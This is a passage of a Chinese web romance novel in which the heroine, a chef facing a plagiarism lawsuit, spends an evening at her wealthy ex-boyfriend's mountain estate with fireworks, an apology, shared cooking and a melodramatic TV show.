霍景闻端着一份牛排出来时,梁音还在苦恼自己的拍照技术太差劲,完全拍不出来风景秀丽的十分之一。 “好看?” 霍景闻不知道什么时候站在了梁音身后,低头看着她手机里的图片。 梁音吓了一跳,然后非常诚实地点头:“好看。” 霍景闻:“那下次再来看。要是觉得一个人无聊,就把你的朋友一起带上。” 她们女人,最喜欢成群结伴了。 梁音抬了抬眼皮,慢吞吞地说:“这不太好吧。” 这种半山庄园,本来就是很隐私的。她虽然喜欢这里的景色,但也不好一再打扰,更何况还带朋友来,更不好了。 霍景闻走到一旁拉开椅子,“有什么不好?” 梁音抿了抿唇瓣,只说:“谢谢你带我来这里散心,已经很打扰了。” 霍景闻挑高眉头,听懂了她未尽之言。不过又是和他撇清关系的意思,却也没多说什么。 “过来吃饭。” 梁音:“谢谢。” 她坐下来,闻到了牛排的香气。牛排煎得很嫩,七分熟,刚刚好。 她切了一块放进嘴里。 “你嫁给我,做这里的女主人,就不算打扰了。” 霍景闻坐在她身边,长臂撑着下巴,冷不丁地说。 梁音一口牛排没咽下,差点呛到。 “咳……” 霍景闻递了一杯水给她。 梁音低头喝水,假装没听到,又继续吃牛排。 “铁石心肠的梁音。” 霍景闻长叹一口气,垂着眼像是在自言自语,“哄哄我也行啊。” 梁音郑重地放下刀叉,认真地拒绝:“不要。” 霍景闻:“?” 梁音:“你会当真。” 然后拿她说的话来要挟她,堵她,得寸进尺顺理成章地提出一些过分的要求。之前,他就是这么做的。 霍景闻笑了:“我有这么卑鄙?” 梁音就不说话了。 无声的沉默,代表了她的答案——是的。 霍景闻也沉默了几秒,然后烦躁地抓了把头发,“行,算你聪明。” 梁音看他一脸的挫败,低下头,偷偷弯了弯眼。 随着太阳西沉,浓郁的暗色逐渐笼罩黄绿山林,别墅的灯打开,在光影映照下,又是另一番的景致。 看了一下午的风景,听了很久山野的风声,梁音的心情确实好了很多。好到有足够的能量去面对一切。 她把手机的飞行模式关掉,不断有信息弹出来。 在她关闭手机的这段时间,明颜,沈浩,尹夏,还有好多同事都给她打了电话,还有……霍景闻的未接来电。 她抬头看了眼坐在远处正在懒洋洋看手机的霍景闻,很快移开目光,打开了微信。 一一回复了大家的关心。 然后,准备打开微博。 有些事该面对的,总要面对。 结果……网上的评论竟然都还好? 她的最新一条微博下面多了好几千条评论,最上面的几条全是关心她的。 “姐姐还好吧?从昨天开始到现在姐姐一句话都没说,不要想不开呀,这事儿压根不怪你。看得出来那个文轩没你有本事故意针对你了。” “抄袭的事还没有定论呢,梁主厨加油,我等你亲自说明。” “虽然但是,他现在就是想转移注意力。不管有没有抄袭,这文轩都不是好东西,大家别被他带节奏了。” “姐姐我会永远支持你的!” 当然也有很多不同的声音,但大部分都在理性讨论范围内。 有几条评论引起了她的注意: “就我一个人觉得,这梁音根本不是一个小白花吗?短短时间内,舆论全部反转,连导演都被辞退,节目组谢罪,这么大的本事,要说这梁音没有背景我不信!” “要做到这种程度,已经不是普通的有钱能办到的。她该不会其实也是隐藏身份的哪个大家族的千金大小姐吧?” “嗅到了不同寻常的气息,这个节目真的千金少爷扎堆了?” “我有一个大胆的猜测,我觉得,她才是霍家太子爷的白月光。” “别说,你还真别说。这个猜测荒谬中又透出一丝合理。” “预言家跳了!” “在宜京能有这么大本事的,不正是非霍家莫属吗?” “妈耶,那这文轩和导演可不是踢到铁板了?” “笑死,这是什么反转爽文剧情啊!我已经能想象这导演和文轩对梁音跪下痛哭流涕道歉的样子了,莫名的爽啊!” 梁音翻到这里,就没再继续往下翻了。 她关上手机,低头沉思。 霍景闻不知道什么时候来到了她身后,关注着她的状态。看她关上了手机,连眼睫也耷拉了下来,还以为她的心情还是受到了影响,低声轻柔地问:“怎么了宝宝,还是不高兴?” 他想到她翻到的最后一条评论,思索了下说:“要不要我叫人把王振杰和文轩带来,让他们跪下来向你道歉?” 梁音眼睫一颤,连忙说:“不用了,我不需要这样。” 让人给她下跪,她还怕折寿。虽然这两个人做了很恶心的事,她真的很讨厌,但也不至于要让他们跪下来…… 霍景闻转过椅子,让她面向自己,静静看她的表情,见她神情平静,眼里也不看出难过受伤的样子,这才稍微松了一口气。 “我还以为你不高兴,有什么想法都要告诉我,”霍景闻忽然双臂伸到她腋下,轻轻用力就把她从椅子上抱了起来,放在干 净的桌面坐好,修长双臂撑在她两侧。他身形高大,微微俯身就好像把她整个人都罩进怀里一样。 他声音沉了沉:“这两个人简直是罪大恶极,做出这种事,要他们怎么道歉都不为过,下个跪又怎么——” 梁音打断他:“你不要这么凶,我没事。那些不正当的行为并没有伤害到我。”她彷徨不是因为恶剪,是因为对官司没把握。 还有。 她抿了下唇瓣,轻声说:“你不要这么叫我……” 她才不是。 他们早就没有关系了。 霍景闻身体一顿,缓缓直起身,往后退了一步,语气凉嗖嗖的:“哦,原来不是因为他们不高兴啊,那就是觉得又欠了我人情很为难咯?” 梁音没说话,默认了。 她本来做好了心理准备要面对网络上的流言蜚语,没想到他早就为她处理好了。平息舆论强压是没有用的,更有用的,是转移公众的注意力。 现在大家不在意她抄袭与否,更关注她和霍景闻的感情以及文轩的丑闻。 她一方面为平息舆论而安心,另外一方面,又有点不知所措。 霍景闻为她做了太多,她已经有些不知道该怎么感谢他了。 这样的恩情,她要怎么回报呢。 她觉得为难,觉得不知所措,还有一点连自己都没有察觉到的烦躁。 她不知道该怎么办。 霍景闻看出来了,“不知道怎么还我的人情?” 梁音沉默了会儿,慢吞吞点了点头,又尝试说:“你撤这些热搜花了多少钱,我转给你吧?” “这可不是钱的事。”霍景闻抱起手臂,“要撤热搜,做舆论公关,联系电视台,你以为没有我开口一点小钱就能办到了?” 梁音:“……” 她知道一点钱办不到。 霍景闻:“不过我们俩是什么关系?这样,我给你一个折扣,要还我的人情很简单,只要你——” “亲我一口。” 夜色在光影中摇曳,梁音看清了他眼里的戏谑。 他分明是故意的。 梁音皱了皱眉,认真思考了一下:“那我亲你一下,我们就两清?” 霍景闻没想到她还真的在考虑,喉结轻滚,清了清嗓子,状若漫不经心应了一声:“嗯。” “我说到做到。” 梁音对他招了招手,“那你过来。” 霍景闻下意识往前走一步,没想到自己卑鄙的“挟恩求报”竟然奏效了。梁音是被那些网友骂懵了,被他感动了,还是他的威胁起作用了?竟然决定对他妥协了? 他缓缓低下头,和梁音的视线平齐。 她慢慢凑了过来,柔软的红唇在他眼前晃动,温热的呼吸落了下来。 然后,她忽然偏过头,一字一顿说:“想、得、美。” 说完就从桌面跳了下去,离他远远的。明润的眼眸在灯光下弯了弯,愉悦狡黠的像偷了腥的小猫。 霍景闻深吸一口气,气得眉骨都拧了起来,“你耍我?” 梁音眼睛弯成了新月:“嗯呢。” 霍景闻:“……” 梁音:“谁让你先耍我,活该。” 霍景闻气笑了,“行,你厉害。” 被霍景闻这么一闹,梁音一点心里负担都没有了。 她真是自寻烦恼,竟然会觉得没办法回报他。他这种人,有什么好回报的。 她对他也有恩情的,就当互相抵消了吧。 霍景闻被她戏耍以后,表情很“难过”,他懒洋洋地靠在桌边,无处安放的大长腿随意立着,颇为哀怨地说:“真的不考虑一下?” 梁音摇头:“不要。” 霍景闻点点头:“那还真是遗憾。” 他抬起手腕看了眼时间,晚上七点五十八分,来了。 他快步朝梁音走去,不等她往后退就握住了她的手腕,往前方走去。 梁音觉得莫名,“干嘛?” “过来就知道了。”霍景闻带她走到一个位置,调整了一下,找到一个绝佳观景角度。 梁音还在疑惑,就被他抬了抬下巴,“来了。” “什么?” “属于梁音的烟花,来了。” 霍景闻话音落下,一道绚丽的烟花顿时在夜空中炸开,漂亮的烟彩还没有消失,紧接着一发接一发的烟花陆续飞跃而出,构成一副旋转的似银河一般璀璨耀眼的流星瀑布。 好漂亮! 这是梁音见过最漂亮的烟花! 也许是在这半山腰,观景视野极好,又或许是夜色太暗烟花太绚丽,梁音的瞳孔里都是倒映的流光。 梁音目不转睛的看着,在烟花停下的间隙,忽然闭上眼,像是在许愿。 对着烟花许愿的,她还是头一个。 “灵么?”霍景闻问。 梁音许完愿,睁开眼睛继续目不转睛的看,笑着说:“我不知道啊,可是这是第一场为我而绽放的烟花,我想,说不定会灵。” 看得出来,她真的很高兴。 霍景闻想了想,“那我也许一个。” 他看着被烟花照亮的夜空,慢声说:“我许愿——我永远,不再欺骗梁音。” 梁音身体一僵。眼睫颤了颤,闷声说:“你这又不是愿望。” 怎么实现呢。 “嗯。” 霍景闻淡淡应了声,“所以这不是愿望,这是,我对梁音的承诺。”—— 作者有话说:梁音:咦,他怎么换套路了[让我康康]《 》 50-60 第51章 第51章我本来就,不能没有你。…… 山顶上空的烟花还在绽放。 各种颜色的光点组成的烟火,像是五彩斑斓的银河,几乎覆盖了目之所及的整片夜空。 绽放之下,黑色山顶,青烟袅袅,最后慢慢的消散在夜色中。 彩色的光影倒映在瞳孔中,闪烁出细碎的光芒。 梁音直直的看着那绚烂的烟火,整个人都颤了一下。 她没有想到,霍景闻会在这个时候说这些话,在漫天烟花的渲染下,嗓音低冽又郑重,完全不再傲慢。 “为什么忽然说这个。”她低下头没看他,瞳孔里倒映的光点消失。 山间风声呼啸。 随着带着凉意的山风,霍景闻慢声说:“梁音,我这个人从小冷血,傲慢惯了,早就不会低头。可是欺骗你,从来不是我的本意。我隐瞒身份不是因为轻视你,而是想要你只关心我一个人,我知道这很自私,但我,就是这么自私的人。后来霍秉让人跟着我,找到了你,暴露了我的身份,我本想,既然暴露了干脆就和你挑明了,可是那天,我的情绪不太好,明知道你因为被欺骗而伤心也没有好好和你解释,气上头甚至还说一些,很过分的话。” “话出口的时候我就后悔了,我当时拉不下脸道歉,回霍家的时候就冷静下来了,我想第二天一早就和你说清楚,我以为,我们只是吵架。我们恋爱一年,经常闹点小矛盾的不是么,拌嘴也是家常便饭,每一次你都包容我了,我以为那次你也会原谅我。可是第二天回家,我却看到空空荡荡的房间。我想不到你会那么心狠,吵一架就要一走了之。更想不到,这次你不再包容我。我生气,大发雷霆,派了很多人去找你,结果一无所获。我都不明白,为什么只是吵一架,你就要抛弃我。所以这些年,我一边找你,一边怨恨你。我一直在想,等找到了你,一定不会轻易原谅你。” “我等了你六年,可是找到你以后,你还是对我避之不及,我很生气,在想你梁音凭什么,我又不是非你不可。” 霍景闻说了很多的话。 烟花结束,夜色重新席卷而来,深浓的暗色落在他傲挺的眉骨,晕柔锋利的棱角。他的神色一同沉入黑暗中,低沉又晦暗,“可是怎么可能呢,我本来就,不能没有你。” 在巷子里见到梁音的第一眼,在浓重的血腥味里,他却闻到了她身上的香气,柔软的,温宁的,像是太阳光下葱郁生长的味道,与他完全相反。 阴暗需要阳光的滋养。 他也需要梁音的爱,很多很多爱。 他想和梁音道歉,却一直被傲气和情绪裹挟,不能和她好好的,平心静气的谈一谈,多么愚不可及。 直到发生今天的事。 “在今天之前,我都觉得自己不算罪无可恕。”霍景闻顿了一下,喉咙有些艰涩,“我 没想到,因为我的过错,让你背井离乡,在远在千里之外的佛罗伦萨,受了那么多的欺负和委屈。所以我在想,我要是没有欺骗梁音就好了,她不会远赴国外,一个人生下孩子,不会孤苦无依,在异国他乡被人欺负至此,背上莫须有的污名。” 等他慢慢说完,梁音不知道为什么,喉咙里涌出一种难言的酸涩,可是她也不需要霍景闻因此而自责。 “这是我自己的选择,和你没关系……” 她眼睛睁得圆圆的,认真地说。 霍景闻转头,深深地看了她一眼:“是因为有了我的欺骗,才有梁音的选择。而且,我的宝贝受了委屈,怎么和我没关系?” 梁音语顿。 下意识反驳:“我不是……” 声音愈发小了起来,最后趋近无声。 他还是一直老婆,宝贝的叫她,她都要被洗脑了,好像他们……从未分手一样。 不知道怎么说。 又有一点儿心烦意乱,促使她想尽快离开这里。 沉默了下,她才找回自己的声音,“你的道歉我收到了。可是,又不是你道歉,我就要原谅你。” 说完以后山间又起了风,带来刺骨的凉意。 梁音也不想再继续待下去,几乎是有些匆促地转身,丢下一句:“这里有点儿冷,我先进去了。” 很快她走下露台,身影隐没在幽静的小路里,回了客厅。 霍景闻看着寂寥又荒芜的夜色,垂下眼遮住眼里暗色, “又跑。” 总归是在他的地盘。 她又能跑哪儿去。 …… 梁音不觉得自己是在逃避,她只是觉得没有必要继续说下去了。 他道歉也好,心疼也罢,那都是他的事,和她无关的。 再说下去,万一他又黏黏糊糊的抱她怎么办?也不是不能拒绝他,就是他这一天为了她的事忙前忙后,为她处理舆论风波,又特意带她来这里散心,为她放烟花,帮了她这么多,再严词拒绝他,总归是有一点不好意思的,会显得她有点儿狼心狗肺。 她不是狼心狗肺的人。 所以,她只能先走了,并不是她故意要逃避之类的。 她来到客厅,客厅的灯亮着,却空无一人。 很空荡。 这栋庄园完全是欧式贵族风格,到处都是奢靡的气息,华丽复古的水晶灯泛着琉璃一般的光泽,墙上挂着几幅很有特点的画,还有一幅栀子花。 这幅画,梁音曾经在一个很出名的画家的画展上看过,听说这是他去乡间采风半年才画出来的,后来这幅画在拍卖会上拍出了天价,没想到会出现在这里。 这幅栀子花很纯粹,就是一朵阳光下的栀子花。外行人压根看不出这幅画的价值所在,梁音也是在网上看那些美术生分析,说这幅画技巧有多高超,色彩渲染有多精妙之类的。 霍景闻竟然也喜欢。 正专注看着,身后传来脚步声,霍景闻不知道什么时候回来了。 梁音还是觉得有点尴尬,假装不知道,专心的欣赏画作。 霍景闻去餐厅冰箱里拿了两瓶水出来,拧开瓶盖又松松旋上,直接放进她手里,“喝水,还是你要喝饮料?” 他语气极其自然,好像刚才的事压根没发生过。 梁音顿时也放松了一些。 “我喝水就好。” 霍景闻看了眼时间,已经八点多了。 “晚餐要吃什么?这里的管家保姆都被我遣走了,你只能尝我的手艺了。” 梁音连忙说:“要不我来做吧。” 她的厨艺再怎么样还是比他更好的。而且找点事做才不会太尴尬。 “我们什么时候下山呀?吃完晚饭么?” 霍景闻:“你要下山?你不喜欢这里?” 梁音:“喜欢,但是不下山难道在这里睡吗?” 霍景闻:“也不是不可以。” 梁音顿了一下。 霍景闻神色自然:“我是说,我的车没油了,开不下山,只能等明天司机来接。或者说你要他连夜上山来接你?” 梁音还没有那么苛刻。 可是…… “你确定没油了,不是在骗我?” “我……”霍景闻话没说完,一道铃声忽然响起,打断了他的话。 是梁音的手机。 她从口袋里拿出手机,屏幕上闪烁着沈又安的名字。 这么晚了,他怎么会打电话给她?难道是有要紧的事? 梁音是想接的,可是不知道为什么,她忽然莫名抬起头看了霍景闻一眼。 霍景闻自然看到了她的来电,双臂抱在胸前,从容平淡的神情顿时变了,拧着眉直直的看着她。 看起来又不高兴了,好像梁音在做什么背叛他的事一样。 上次他威胁她不让她和沈又安吃饭的话好像还近在耳边。 搞得梁音此时竟然也莫名的有一点心虚了,下意识解释了一句:“他找我应该是有重要的事要说。” 霍景闻抱着手臂:“他能有什么重要的事,居心不良罢了。” 梁音顿了下:“……你不要总是这么,阴阳怪气。” “阴阳怪气?”霍景闻冷哼了一声,“那我天天吃醋,能不阴阳怪气?” 梁音:“……” 怎么又绕到这儿来了。 真不想理他。 霍景闻压着眉头,懒洋洋地说:“行,你接吧,我又无所谓,我只是看他不爽而已。” 既然他只是看沈又安不爽…… 梁音于是……决定离他远一点去接,便走出了客厅。 这样他就听不到了。 电话一接通,沈又安急切的声音从手里里传来:“梁老师,你还好吗?” 梁音:“还好,这么晚是要和我说什么事吗?” 沈又安:“是这样的,我有一个朋友之前是开餐厅的,聘请过文轩,说他的人品特别差,诱骗过餐厅里的女服务生,闹得人女孩子跳楼自杀,都被女方父母闹上门了,我朋友就是因为这个原因把他开除的,后来不知道是谁保他,这件事竟然被压了下去,这文轩依然顺风顺水一路高升。我朋友手里还有当时的照片。我是想说,这文轩人品这么差劲的一个人,就算他实名举报你,也要网友信呐。我们不如以其人之道,还治其人之身,把文轩这事爆出去……” 到时候文轩声名狼藉,还有多少人会相信他的话? 沈又安这招其实也是在转移网友的注意力。 但是梁音想了想还是拒绝了:“非常谢谢你沈老师。不过还是不用了,我会自己处理这件事的。” 不管爆不爆出这件事,文轩买通导演恶剪的事就已经让大家看清他的道貌岸然了。他的人品之恶劣,不必这件事证明,观众也已经看得出来。 把文轩以前的事闹大,不仅是对文轩的凌迟,也掀起了那个女孩子家里人的伤痛,何必还牵扯进别人呢。 沈又安迟疑了下:“真的不用?” 梁音:“真的,我已经有解决的办法了,谢谢你。” 沈又安:“好吧,如果有需要你尽可以联系我,梁老师,我会一直站在你身后支持你的。” “谢谢你。” 梁音挂了电话,走回客厅,发现客厅没有了霍景闻的身影。也没多想,就转身去了餐厅,准备做晚餐。 结果霍景闻就在厨房,锅上烧着水,旁边摆着意面。水已经沸腾了,霍景闻却没管,正拉开柜子在找什么东西。 梁音就走过去先把意面下了,然后盖好盖子。 看着霍景闻的背影,她问了句:“你找什么呢?” “找根绳子。”” 啊?” 梁音不明所以,他突然找绳子干嘛? 霍景闻这时转身,冷着一张脸:“你再和那个沈又安说几句试试呢,我就吊死给你看。” 梁音:“……” 梁音也不知道他明明没名没分的,还理直气壮的吃醋是怎么做到的。 “噢,我还以为你找绳子是要……”她慢吞吞憋出四个字,“荡秋千呢。” 霍景闻:“……?” 气得他简直无言以对。 锅里的意面已经在煮着了,霍景闻走过去,把拿出来的配菜放在果蔬清洗机里,看着不锈钢的机器里水波震动,泛出粼粼水波。 很快蔬菜就全部洗好,霍景闻开始开火,全程没有让她动手的意思。 平底锅上喷洒了点油,他将切好的雪花牛肉丁倒进锅里,开小火煎。 牛肉煎出了油脂,发出滋滋的声音,侵扰着人的耳膜。 霍景闻这个时候才转过身来,懒散的靠在台面,长腿微微屈起,沉默地看着她。 那双琥珀色的眸子光影疏淡,皱着眉生气。 梁音忍不住提醒了一句:“牛肉要焦掉了。” 霍景闻抬手,随手就把火关掉,目光重新直直地盯着她。 好像非要从她这里得到一个答案不可。 “他这么晚找你干什么呢?”霍景闻淡声问。 梁音本来想说和他没有关系,她只是和一个朋友打电话而已,为什么要向他汇报呢。 他总是这样,莫名其妙的吃飞醋。她和沈又安其实压根没有什么往来。上次录制结束以后,他一通乱说,沈又安可能是为了避嫌,根本就没联系她了。这才沈又安也是想帮她,才来和她说文轩的事。 可是看着霍景闻不得到答案就不罢休的模样,实在是有点头疼。 梁音不想继续和他僵持下去,叹了口气,决定还是和他解释清楚:“他说文轩曾经在他一个朋友的餐厅里工作过,闹出过一些事儿,可以证明这个文轩人品很差劲,他问我需不需要帮我把这件事爆出,就是这样。人家好心想帮我而已。” “噢。”霍景闻又问,“那你怎么说,如果他能帮到你,也可以。” 梁音摇头:“这事儿还涉及到另一个家庭的伤痛,我觉得还是不必了,反正这文轩的名声已经臭了,不差这一桩。” 霍景闻:“也是。” 梁音:“我说过了,我和沈又安就是普通的朋友,你不要再阴阳怪气的,人家也根本没那个意思,你这样会搞得很尴尬。” 一想到上次那种情况,梁音都还觉得有点头皮发麻。 霍景闻却丝毫没有反省的意思。 轻笑了一声。 “噢,我这不是防患于未然么。” 梁音就是单纯得要命,他当初都强行跟着她回家,登堂入室了,她还以为他只是无处可去,讹上了她。 不管他怎么勾引,她都傻乎乎的完全不多想。逼得他没办法,只能强行要名分。 别人看不出那沈又安什么套路,他霍景闻还能看不出来? 这小子就是心怀不轨,一个普通朋友会这么热心,又是发微博力挺又是为她出谋划策的。还编故事哄梁音。 但这些,他可不会告诉梁音。 “还有……” 梁音皱了皱眉,有些无奈地说,“我今年已经二十八岁了,不是当初不太懂事的我。不管人对我有没有意思,既然人家没有开口,就说明不想挑明。都是成年人,这点心照不宣的潜规则我还是懂的。人家不说,我也就不知道。” 霍景闻:“要是说了呢?” 梁音沉默了下。 总觉得在沈又安背后说起这些不太好,又不想霍景闻继续阴阳怪气,便表明态度:“总之,我对他没有想法。” 如果说了,她也会拒绝。 其实当时她听了安灵的话也误会了,就和沈又安说她有女儿了,算是一种委婉的拒绝,成年人都听得出来的。 “都解释完了,总可以了吧。” 计时器“叮”了声,意面已经煮好了。梁音走过去,把意面捞起,倒进凉水里面过了一遍,这样会比较筋道。 刚把意面倒进凉水里,正准备拿碟子,忽然被人从身后紧密地抱住。 他俯身沉重地压下来,整张脸埋进她颈窝,在她耳边蹭了蹭。然后落下一个轻柔的吻。 声音里含着愉悦,夸奖道: “可以,老婆好乖。”—— 作者有话说:霍景闻:就知道老婆还是舍不得我[墨镜] 第52章 第52章怎么了宝宝? 梁音耳根顿时红了。 那是一个一触即离的吻,可是梁音总觉得耳后留下了滚烫的印记。 他真是…… “霍景闻!”梁音转身,皱着脸看他,想要质问他。 她解释这些只是不希望他继续阴阳怪气,又不是和他报备,不需要他的……夸奖。 霍景闻却像个没事人一样,双臂撑在她身侧,明知故问:“怎么了宝宝?” 梁音:“……” 他还怎么了…… 故意这么问,让她的质问都变得难以启齿。 如果不是因为车没油了,她应该连夜就下山的。 “哦抱歉~”霍景闻眉心一动,扬长了尾音,似乎才反应过来。 “刚刚太激动了,冒犯了你。作为赔罪,这晚餐还是我来做吧。”霍景闻握住她的手腕拉开,自己站在了灶台面前,重新开火,嘴里说着抱歉,可是她看他可没有一点惭愧的样子。 他这算什么赔罪! …… 吃完晚餐,梁音特意去检查他的车,没想到还真的没有油了。 霍景闻就斜斜的靠在墙边,任由梁音检查。 眉骨扬了扬,尾音懒洋洋的拉长,有股受伤的意味:“梁老师这是什么意思,不信任我?” 梁音心虚地摸了摸鼻子,“没有。我就是,看看。” “那看完了,可以回去了?” “嗯。” 梁音跟着霍景闻来到二楼,打开其中一间客房,打开灯,窗户正对着山脚下的华灯,从这里看,可以看到很漂亮的夜景。 梁音站在窗前看了好一会儿,很喜欢这个房间。 过了一会儿霍景闻又出现在门口,手里拿着一套浅灰色的睡衣,“梁音,这里只有我的衣服,你穿这套行不?” 霍景闻平常工作太忙,一年也来不了这里几次。管家被他赶下了山,找来找去,也就只有这套灰色的睡衣比较适合她。 “山上晚上会很冷。”霍景闻把睡衣给她放下,然后把打开的窗户给她关上一大半,“吹冷风不怕头疼?” 梁音夜景也看够了,干脆就全部关上了。 看到床上的睡衣,说了声谢谢。 说完以后也不知道该和他说些什么,刚刚的事,她还没忘呢。 霍景闻总是这样…… 有时候,连她也不知道怎么拒绝了。 她也不知道自己在想什么,他亲她,抱她,她只是觉得这样不合适,他们已经分手了,这种亲密的行为不该出现在他们身上。 至于有多生气和反感……那好像也没有。 或许是习惯了? 霍景闻本来就不是多讲道理的人,强势得要命,从来不容拒绝的。 也或许就是因为她的态度不够果决,不能严厉制止他的越界,才导致了他们之间一而再再而三的,藕断丝连,黏糊不清。 “冰箱里有水果,你要吃什么,我去切。”霍景闻走近了一步。 梁音下意识往后退,好像生怕刚才的事卷土重来,“你干嘛?” 霍景闻停下脚步,看她警惕的模样 ,似笑非笑地说:“干嘛这么如临大敌的样子,怕我又亲你?” “……” 梁音抿了抿唇,怕她这一承认他就笑话她自作多情。霍景闻就是这么恶劣坏心眼儿,她早就领教过。 她立刻做出镇定自若的表情,“我可没这么想。” “为什么不?” 霍景闻却没有嘲笑她的意思,反而是连装都懒得装了,眉骨抬了抬,一向冷峻嚣张的丹凤眼透出好整以暇的笑意,“我就是想亲你啊。” 梁音:“……” 他又来! “霍景闻,你再这样,我真的生气了!” “对不起,我错了。”霍景闻举起手往后退了一步,收起笑,恢复成面无表情的正经模样,道歉得十分熟练,“我是想问你一个人睡在这里会不会害怕?这个庄园现在只有我们两个人,如果你害怕的话我可以陪——” “我不会害怕。”梁音斩钉截铁地说。 她又不是小孩子,一个人睡觉怎么会害怕。 霍景闻看了她一眼,点头:“行。” “那我就不打扰你了,待会儿我要开个紧急会议,你有什么事就打我电话,或者来书房找我。” 梁音点头:“好。” 霍景闻离开后梁音拿起睡衣去浴室洗澡,热水冲刷着皮肤,将全身的疲惫和冷意都洗净。 洗完澡换上睡衣出来,时不时还要提一下裤子。 他的睡衣睡裤太大了,就算看上去不至于像小孩子穿大人的衣服,那拖到地上的裤脚也很麻烦。 偏偏这睡衣还是真丝材质的,她就是想把裤脚卷起来也很快又滑下去了。 想了想,她干脆把裤子脱掉了。反正衣服也足够长,当短一点的睡裙也足够了。 坐到床上拿起手机,刚刚明颜给她发了微信,说意意被她哄睡着了,让她不要担心。 还有微信不断进来。 明颜:【音音你还好吧,山上的风景好不好看?】 明颜:【我去看了下各大平台的舆论大部分都是站你的,很多人都在批判文轩,还好大家经过早上的事都比较理智了,都没出现什么特别偏激的言论。真是佛祖保我!】 明颜:【不对,不是佛祖保佑,应该是霍景闻出手了吧?】 梁音回了一句:【嗯。】 说到底网络上的风气就是这样,跟风成性。不是没有人质疑她的“抄袭”,而是霍景闻让人把舆论的焦点全部对准了文轩,现在铺天盖地都是文轩的丑闻,那他这种道德败坏的人的爆料,又有多少人会信呢。 所以现在舆论都还没有开始“审判”她。 但是,这件事终究是要她自己解决的。 她要对公众给出一个明确的答复,给出强有力的证据证明她没有抄袭,这件事才能真正被解决。 而刚刚她的代理律师发来邮件。 下周三是最后一次开庭。 梁音:【下周我会请两天假回佛罗伦萨打官司。】 明颜:【也好,赶紧把这官司打完吧。要不要我陪你去,你不是说那个大卫在当地有一点势力吗?我怕你被欺负……】 梁音:【我只是去打官司,不是得罪**,放心吧,没事的。】 梁音:【我只希望这次官司能赢。】 明颜:【一定会的。你别担心,家里都有我呢。】 梁音:【好。】 和明颜聊完时间已经快十点了,今天这一天过得还真是……惊心动魄。 梁音躺下来闭上眼睛,床垫软软的,躺下去感觉身体都被包裹了起来,很舒服。 窗帘拉紧,窗户的隔音效果也很好,没有任何的光线和杂音传进来,很安静。 可是梁音闭上眼睛半个小时,不知道为什么脑海里的思绪还是很乱,一会儿想到网上的舆论,一会儿又担忧下周的官司。更多的,她想起在阳台,烟花绽放时,霍景闻在她耳边说的那句—— 我永远,不会再欺骗梁音。 梁音耳边一直环绕着这句话。 她和霍景闻分手,远走国外不仅仅是因为他的欺骗,但他的欺骗,是一切的导火索。 她讨厌霍景闻明明做错了还那么傲慢,和他吵架,分手,选择再也不见。可这一切的一切,又不仅仅是因为他的傲慢。 谈恋爱一年,她不是不了解他的性格的。 脑子里千头万绪,怎么也理不清,想不出个答案。梁音干脆坐了起来,打开灯,披上自己的外套打开了门。 隔着一条走廊的对面,门口漏出了一点点的光,应该是书房。 霍景闻看来还在开会。 没有打扰,梁音下了楼,坐在客厅打开了电视。她只开了一盏浅淡柔和的灯,连声音也没有开得很大。 反正也睡不着,干脆看个电视好了。 梁音其实平常很少看电视剧综艺这些,也没什么时间看。工作之外,偶尔会刷刷抖音,但也很少。 上次她看电视,还是在照顾霍景闻的时候,看了一部狗血短剧。虽然狗血,但是还不错。 霍景闻说得没错,她这个人就是很土的,文艺片都很少看,就爱看一些狗血的偶像剧。 可是这也没什么吧?梁音眨了眨眼,找来找去,又点开了一部号称“史诗级虐恋”的偶像剧。 开头还有点儿平淡,梁音以为自己被标题诈骗了,结果从第三集开始就开始大虐特虐,梁音看得目不转睛,又陷进去了。 剧情其实特别简单,女主在路边捡到了受伤快要死掉的男主,精心照顾他,男主醒来后为了报恩就以身相许和女主在一起了,两人过了一段很幸福的日子,然后男主的手下找来,请他回宫,女主这才知道男主根本不是什么普通人,而是东宫太子。男主因为宫廷争斗,害怕女主遇到危险就把女主留下了,约定好等他铲除异己就来接女主,女主等了他三年,结果听到了他要迎娶太子妃的消息。女主费劲千辛万苦找到男主,却被他冷漠地告知,他什么都不记得了,让女主离他远一点。 看到这里的时候,梁音感觉自己都要跟着女主一起哭了出来。 她好可怜啊。 这也是一部短剧,剧情节奏很快,很快下一个镜头就切到了别处,讲权谋去了。 好像是一个大臣预备谋反,竟然拿流民做人体实验,然后培养出来一群人不人,鬼不鬼的怪物。 梁音从不看恐怖片,觉得吓人。虽然这些怪物的镜头都是直给的,没多少恐怖,梁音也想尽快跳过。 好好的偶像剧,拍这种吓人的镜头看什么。 她拿起遥控器往前调进度,觉得应该差不多了,就摁下了确定,没想到不走运,竟然直接跳到了一个怪物突脸镜头!那鲜血淋漓,瞳孔全黑的恐怖鬼脸忽地一下从一棵树上掉下来,冲屏幕而来—— 眼前忽然一黑,视线被一只温热的大手从身后盖住,隔绝了接下来更恐怖的镜头。 梁音吓到胸口直起伏,惊疑未定。 霍景闻站在沙发后,躬着身,一手撑在沙发靠背,一手捂住她的眼睛,轻“啧”了两声:“梁音,你还挺有情趣,大半夜下来看恐怖片儿?” 说话间,那恐怖的镜头已经过去,又开始回到主线。 梁音听到了女主的声音,知道恐怖镜头过去了,就把霍景闻的手掌拉下来,“什么啊,我看偶像剧呢,没看恐怖片。” “噢。” 霍景闻从身后绕过来,在她身旁一屁股坐下,大长腿翘起二郎腿,懒洋洋地说,“梁老师又看什么惊世巨作呢?” 他看着屏幕,机器人似的一字一句毫无感情的读出剧名:“杀猪农女被渣了:我的失忆夫君是太子?” 梁音:“……” 怎么这剧名从他嘴里说出来就这么羞耻呢? 霍景闻:“你这爱好够特别的啊,看上杀猪的了。” 梁音没忍住反驳:“这不是讲杀猪的,杀猪是女主的职业!” 霍景闻挑了挑眉:“这么血腥?太可怕了吧?” 梁音:“……” 他在可怕什么? 谁有他可怕? 梁音觉得他坐下来,电视剧都不好看了,好破坏看剧体验。 想了想委婉地问:“你开 完会了?” 霍景闻专注地看着电视,随口应了声:“嗯。” 梁音:“那你还不去睡觉?” 霍景闻转过头,语气夸张:“你赶我走?” 梁音:“……” 霍景闻不再说话,一言不发站起身,走了。 看他的背影,好像有种莫名的失落感。 梁音有点儿不好意思了,毕竟这里是他的家,她还把他赶走那也太不客气了。 那点儿不好意思还没酝酿完,霍景闻又从餐厅走了出来,手上端着一盘洗净的草莓,放在茶几上。 “红色的猪血配上血腥的草莓,真是绝配。” 梁音:“……” 不想理他了! 她往旁边坐了坐,和他拉开了距离,决心离他远一点儿。 